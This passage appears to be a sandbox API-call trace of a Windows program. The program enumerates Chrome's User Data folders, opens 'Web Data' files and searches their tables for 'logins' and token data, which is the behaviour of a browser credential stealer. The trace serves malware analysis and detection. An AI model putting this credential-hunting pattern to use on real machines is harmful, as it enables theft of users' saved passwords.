lpString2="logins") returned 1 [0054.797] LocalFree (hMem=0x76a770) returned 0x0 [0054.797] LocalFree (hMem=0x759000) returned 0x0 [0054.797] LocalFree (hMem=0x7590a8) returned 0x0 [0054.797] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.797] LocalFree (hMem=0x76a4b0) returned 0x0 [0054.797] LocalFree (hMem=0x763978) returned 0x0 [0054.797] LocalFree (hMem=0x770828) returned 0x0 [0054.797] IStream:LockRegion (This=0x76e560, libOffset=0xb000, cb=0x0, dwLockType=0x0) returned 0x0 [0054.797] LocalFree (hMem=0x75e920) returned 0x0 [0054.797] LocalFree (hMem=0x940a908) returned 0x0 [0054.797] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x76a770 [0054.797] LocalFree (hMem=0x76a770) returned 0x0 [0054.797] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x76a770 [0054.797] LocalFree (hMem=0x76a770) returned 0x0 [0054.797] LocalFree (hMem=0x76a4b0) returned 0x0 [0054.797] LocalFree (hMem=0x763978) returned 0x0 [0054.797] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.797] lstrcmpiA (lpString1="server_addresses", lpString2="logins") returned 1 [0054.797] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.797] LocalFree (hMem=0x763a18) returned 0x0 [0054.797] LocalFree (hMem=0x764558) returned 0x0 [0054.797] LocalFree (hMem=0x76a770) returned 0x0 [0054.797] LocalFree (hMem=0x75c598) returned 0x0 [0054.797] LocalFree (hMem=0x764698) returned 0x0 [0054.797] IStream:LockRegion (This=0x76e560, libOffset=0xb317, cb=0x0, dwLockType=0x0) returned 0x0 [0054.798] LocalFree (hMem=0x75e920) returned 0x0 [0054.798] LocalFree (hMem=0x940a908) returned 0x0 [0054.798] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763a18 [0054.798] LocalFree (hMem=0x763a18) returned 0x0 [0054.798] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763a18 [0054.798] LocalFree (hMem=0x763a18) returned 0x0 [0054.798] LocalFree (hMem=0x761ea0) returned 0x0 [0054.798] LocalFree (hMem=0x764698) returned 0x0 [0054.798] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.798] lstrcmpiA (lpString1="server_address_metadata", lpString2="logins") returned 1 [0054.798] LocalFree (hMem=0x76a770) returned 0x0 [0054.798] LocalFree (hMem=0x7590a8) returned 0x0 [0054.798] LocalFree (hMem=0x759000) returned 0x0 [0054.798] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.798] LocalFree (hMem=0x76a4b0) returned 0x0 [0054.798] LocalFree (hMem=0x764558) returned 0x0 [0054.798] IStream:LockRegion (This=0x76e560, libOffset=0xb22d, cb=0x0, dwLockType=0x0) returned 0x0 [0054.798] LocalFree (hMem=0x75e920) returned 0x0 [0054.798] LocalFree (hMem=0x940a908) returned 0x0 [0054.798] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x763a18 [0054.798] LocalFree (hMem=0x763a18) returned 0x0 [0054.798] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x763a18 [0054.798] LocalFree (hMem=0x763a18) returned 0x0 [0054.798] LocalFree (hMem=0x9410768) returned 0x0 [0054.798] LocalFree (hMem=0x764558) returned 0x0 [0054.798] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.798] lstrcmpiA (lpString1="autofill_sync_metadata", lpString2="logins") returned -1 [0054.798] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.798] LocalFree (hMem=0x759000) returned 0x0 [0054.798] LocalFree (hMem=0x7590a8) returned 0x0 [0054.798] LocalFree (hMem=0x76a770) returned 0x0 [0054.798] LocalFree (hMem=0x74dc68) returned 0x0 [0054.798] LocalFree (hMem=0x764698) returned 0x0 [0054.798] IStream:LockRegion (This=0x76e560, libOffset=0xb2c2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.798] LocalFree (hMem=0x75e920) returned 0x0 [0054.798] LocalFree (hMem=0x940a908) returned 0x0 [0054.798] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x751178 [0054.798] LocalFree (hMem=0x751178) returned 0x0 [0054.798] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x763a18 [0054.798] LocalFree (hMem=0x763a18) returned 0x0 [0054.798] LocalFree (hMem=0x764698) returned 0x0 [0054.798] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.798] lstrcmpiA (lpString1="autofill_sync_metadata", lpString2="logins") returned -1 [0054.798] lstrcmpiA (lpString1="autofill_model_type_state", lpString2="logins") returned -1 [0054.798] lstrcmpiA (lpString1="token_service", lpString2="logins") returned 1 [0054.798] lstrcmpiA (lpString1="token_service", lpString2="logins") returned 1 [0054.798] lstrcmpiA (lpString1="ie7_logins", lpString2="logins") returned -1 [0054.798] lstrcmpiA (lpString1="ie7_logins", lpString2="logins") returned -1 [0054.798] lstrcmpiA (lpString1="ie7_logins", lpString2="logins") returned -1 [0054.799] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.800] StrStrIA (lpFirst="Web Data-journal", lpSrch="Web Data") returned="Web Data-journal" [0054.800] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0054.800] lstrlenA (lpString="\\") returned 1 [0054.800] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x7687d8 [0054.800] lstrcpyA (in: lpString1=0x7687d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.800] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.800] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0054.800] lstrlenA (lpString="Web Data-journal") returned 16 [0054.800] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x76a2e8 [0054.800] lstrcpyA (in: lpString1=0x76a2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.800] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Web Data-journal" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" [0054.800] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\google\\chrome\\user data\\default\\web data-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0054.800] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x0, lpOverlapped=0x0) returned 1 [0054.800] CloseHandle (hObject=0x3e8) returned 1 [0054.800] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.800] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0 [0054.800] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0054.800] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.801] lstrcmpiA (lpString1=".", lpString2="EVWhitelist") returned -1 [0054.801] lstrcmpiA (lpString1="..", lpString2="EVWhitelist") returned -1 [0054.801] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.801] lstrlenA (lpString="\\") returned 1 [0054.801] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74af08 [0054.801] lstrcpyA (in: lpString1=0x74af08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.801] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.801] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0054.801] lstrlenA (lpString="EVWhitelist") returned 11 [0054.801] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x9402ac8 [0054.801] lstrcpyA (in: lpString1=0x9402ac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.801] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="EVWhitelist" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" [0054.801] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 73 [0054.801] lstrlenA (lpString="\\*.*") returned 4 [0054.801] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x9403ba8 [0054.801] lstrcpyA (in: lpString1=0x9403ba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" [0054.801] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*.*" [0054.801] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*.*", lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0x72dd90 [0054.801] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.801] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.801] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.801] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.801] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0 [0054.801] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0054.801] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.801] lstrcmpiA (lpString1=".", lpString2="FileTypePolicies") returned -1 [0054.801] lstrcmpiA (lpString1="..", lpString2="FileTypePolicies") returned -1 [0054.801] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.801] lstrlenA (lpString="\\") returned 1 [0054.801] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74af08 [0054.801] lstrcpyA (in: lpString1=0x74af08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.801] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.801] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0054.801] lstrlenA (lpString="FileTypePolicies") returned 16 [0054.801] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x9402ac8 [0054.801] lstrcpyA (in: lpString1=0x9402ac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.801] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="FileTypePolicies" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" [0054.801] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 78 [0054.801] lstrlenA (lpString="\\*.*") returned 4 [0054.801] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x76a2e8 [0054.801] lstrcpyA (in: lpString1=0x76a2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" [0054.801] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*" [0054.801] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*", lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0x72dd90 [0054.802] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.802] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.802] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.802] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.802] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0 [0054.802] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0054.802] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.802] StrStrIA (lpFirst="First Run", lpSrch="Web Data") returned 0x0 [0054.802] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.802] StrStrIA (lpFirst="Local State", lpSrch="Web Data") returned 0x0 [0054.802] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.802] lstrcmpiA (lpString1=".", lpString2="OriginTrials") returned -1 [0054.802] lstrcmpiA (lpString1="..", lpString2="OriginTrials") returned -1 [0054.802] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.802] lstrlenA (lpString="\\") returned 1 [0054.802] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74af08 [0054.802] lstrcpyA (in: lpString1=0x74af08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.802] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.802] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0054.802] lstrlenA (lpString="OriginTrials") returned 12 [0054.802] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x9402ac8 [0054.802] lstrcpyA (in: lpString1=0x9402ac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.802] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="OriginTrials" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" [0054.802] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 74 [0054.802] lstrlenA (lpString="\\*.*") returned 4 [0054.802] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x9403ba8 [0054.802] lstrcpyA (in: lpString1=0x9403ba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" [0054.802] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*.*" [0054.802] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*.*", lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0x72dd90 [0054.803] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.803] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.803] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.803] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.803] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0 [0054.803] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0054.803] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.803] lstrcmpiA (lpString1=".", lpString2="PepperFlash") returned -1 [0054.803] lstrcmpiA (lpString1="..", lpString2="PepperFlash") returned -1 [0054.803] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.803] lstrlenA (lpString="\\") returned 1 [0054.803] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74af08 [0054.803] lstrcpyA (in: lpString1=0x74af08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.803] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.803] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0054.803] lstrlenA (lpString="PepperFlash") returned 11 [0054.803] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x9402ac8 [0054.803] lstrcpyA (in: lpString1=0x9402ac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.803] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="PepperFlash" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" [0054.803] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 73 [0054.803] lstrlenA (lpString="\\*.*") returned 4 [0054.803] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x9403ba8 [0054.803] lstrcpyA (in: lpString1=0x9403ba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" [0054.803] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*.*" [0054.803] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*.*", lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0x72dd90 [0054.803] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.803] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.803] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.803] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.803] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0 [0054.803] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0054.803] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.803] lstrcmpiA (lpString1=".", lpString2="pnacl") returned -1 [0054.803] lstrcmpiA (lpString1="..", lpString2="pnacl") returned -1 [0054.803] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.803] lstrlenA (lpString="\\") returned 1 [0054.803] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74af08 [0054.804] lstrcpyA (in: lpString1=0x74af08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.804] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.804] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0054.804] lstrlenA (lpString="pnacl") returned 5 [0054.804] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x768708 [0054.804] lstrcpyA (in: lpString1=0x768708, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.804] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="pnacl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" [0054.804] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 67 [0054.804] lstrlenA (lpString="\\*.*") returned 4 [0054.804] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x7687d8 [0054.804] lstrcpyA (in: lpString1=0x7687d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" [0054.804] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*.*" [0054.804] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*.*", lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0x72dd90 [0054.804] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.804] FindNextFileA (in: 